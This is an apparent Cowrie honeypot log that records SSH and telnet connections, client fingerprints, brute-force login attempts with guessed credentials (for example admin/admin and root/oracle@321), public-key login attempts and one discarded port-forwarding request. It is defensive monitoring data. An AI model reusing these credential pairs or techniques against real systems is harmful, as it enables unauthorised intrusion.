{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:38.252262Z","src_ip":"200.39.46.41","session":"00ea907037a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:38.397558Z","src_ip":"200.39.46.41","session":"00ea907037a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39264,"dst_ip":"10.17.0.5","dst_port":22,"session":"39110ce2fd78","protocol":"ssh","message":"New connection: 87.251.64.176:39264 (10.17.0.5:22) [session: 39110ce2fd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:38.805985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:38.810903Z","src_ip":"87.251.64.176","session":"39110ce2fd78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:38.907435Z","src_ip":"87.251.64.176","session":"39110ce2fd78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Erkan123","message":"login attempt [root/Erkan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:39.014692Z","src_ip":"200.39.46.41","session":"00ea907037a5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:39.196616Z","src_ip":"87.251.64.176","session":"39110ce2fd78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:39.295600Z","session":"39110ce2fd78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:39.393243Z","src_ip":"87.251.64.176","session":"39110ce2fd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:39.496407Z","src_ip":"87.251.64.176","session":"39110ce2fd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:40.162654Z","src_ip":"200.39.46.41","session":"00ea907037a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":54398,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d3ee383330","protocol":"ssh","message":"New connection: 43.242.203.160:54398 (159.203.135.109:22) [session: f7d3ee383330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:55.352841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:55.368507Z","src_ip":"43.242.203.160","session":"f7d3ee383330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:56.600353Z","src_ip":"43.242.203.160","session":"f7d3ee383330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":38170,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0e509cc7f4","protocol":"ssh","message":"New connection: 69.48.205.231:38170 (10.17.0.5:22) [session: ef0e509cc7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:56.880995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:56.885579Z","src_ip":"69.48.205.231","session":"ef0e509cc7f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:56.926797Z","src_ip":"69.48.205.231","session":"ef0e509cc7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"all2","message":"login attempt [root/all2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:57.167702Z","src_ip":"69.48.205.231","session":"ef0e509cc7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:57.511219Z","src_ip":"43.242.203.160","session":"f7d3ee383330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:58.210644Z","src_ip":"69.48.205.231","session":"ef0e509cc7f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:58.802276Z","src_ip":"43.242.203.160","session":"f7d3ee383330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":43020,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dde0060a35c","protocol":"ssh","message":"New connection: 45.137.172.116:43020 (10.17.0.5:22) [session: 1dde0060a35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:00.844378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:00.849420Z","src_ip":"45.137.172.116","session":"1dde0060a35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:00.945797Z","src_ip":"45.137.172.116","session":"1dde0060a35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g9q7jreo","password":".GxRJez2m1MHgY2j4lgG","message":"login attempt [g9q7jreo/.GxRJez2m1MHgY2j4lgG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:01.364647Z","src_ip":"45.137.172.116","session":"1dde0060a35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:02.464720Z","src_ip":"45.137.172.116","session":"1dde0060a35c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:02.981543Z","src_ip":"136.243.1.228","session":"baadedee29a0","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:03.034389Z","src_ip":"136.243.1.228","session":"baadedee29a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":41264,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff8643c1dd7f","protocol":"ssh","message":"New connection: 202.51.214.99:41264 (10.17.0.5:22) [session: ff8643c1dd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:06.167336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:06.171910Z","src_ip":"202.51.214.99","session":"ff8643c1dd7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:06.409570Z","src_ip":"202.51.214.99","session":"ff8643c1dd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@321","message":"login attempt [root/oracle@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:07.396074Z","src_ip":"202.51.214.99","session":"ff8643c1dd7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:08.637067Z","src_ip":"202.51.214.99","session":"ff8643c1dd7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.236.136","src_port":35284,"dst_ip":"10.17.0.5","dst_port":22,"session":"dca912ec6653","protocol":"ssh","message":"New connection: 91.98.236.136:35284 (10.17.0.5:22) [session: dca912ec6653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.106567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.114287Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.206095Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:79:78:ab:9c:d0:7f:05:cd:e3:37:b1:25:91:97:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmd1s3G2fwN5gjMFEPM9TfRaIyaWdYF/LW0GPMCk1SKAEfcjLBUMfBbUhR/lRwqtbMBlQnkRnao822P7KdkYO7gZP2/EuX/OLHujJ3/86Y4MzrcQDUuK3Oj4ZY2RstGj2eHqugbETBYPD55g7k45ym0SeRvn3dK8XRdMA7wbXIeau4Ex6Bbj6hGEk9ynrW0P8VtuCnHZc/0y9AYvL/txv2+gcE2p6U7tVipmLqqGMhh07lRPNz0Mg/nPF/hFRKkhyeVzD7to38tElcGk7EOhbEVtC7aetbCQM0oW0cd4xwm57YLZQU81u8j9I+JZjDZZxq1zsCbCr3/FqsryRwozbf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:79:78:ab:9c:d0:7f:05:cd:e3:37:b1:25:91:97:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.641888Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:79:78:ab:9c:d0:7f:05:cd:e3:37:b1:25:91:97:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmd1s3G2fwN5gjMFEPM9TfRaIyaWdYF/LW0GPMCk1SKAEfcjLBUMfBbUhR/lRwqtbMBlQnkRnao822P7KdkYO7gZP2/EuX/OLHujJ3/86Y4MzrcQDUuK3Oj4ZY2RstGj2eHqugbETBYPD55g7k45ym0SeRvn3dK8XRdMA7wbXIeau4Ex6Bbj6hGEk9ynrW0P8VtuCnHZc/0y9AYvL/txv2+gcE2p6U7tVipmLqqGMhh07lRPNz0Mg/nPF/hFRKkhyeVzD7to38tElcGk7EOhbEVtC7aetbCQM0oW0cd4xwm57YLZQU81u8j9I+JZjDZZxq1zsCbCr3/FqsryRwozbf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.645877Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:ae:12:a8:88:ed:df:b7:d7:ab:5d:e8:63:8c:44:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8LBNN8PjRWRTXF5rMNQ+y8ZE1pxBbMPn2e1YBV3a8luJSgjjnOehtZLlppdavyx1u3pKY6jz9phqsacTcezFh78cYghxX+7/zEJeMo1fM/D6t00nd4otl5S/+qZnogInETZzMfnEO6VjjBOVIjL41TtTuwhJqV58lPMKQXJwOwZq8NQ444bUng1GVDhrnRXNPVOIYWlj1ynGw5d173WHzljmXQsK8FLbLB7658Wy39XfFNpLzvg4ZnC1ocDL1LDxs8C6m9B8GHpjn901r0H9FJDhohgp9PNBmNF0zHv+MI6VsaOuZYF4tDmE4BBSJ3hX8RUWuxTfnojaWK9RsFk4V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:ae:12:a8:88:ed:df:b7:d7:ab:5d:e8:63:8c:44:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.739525Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
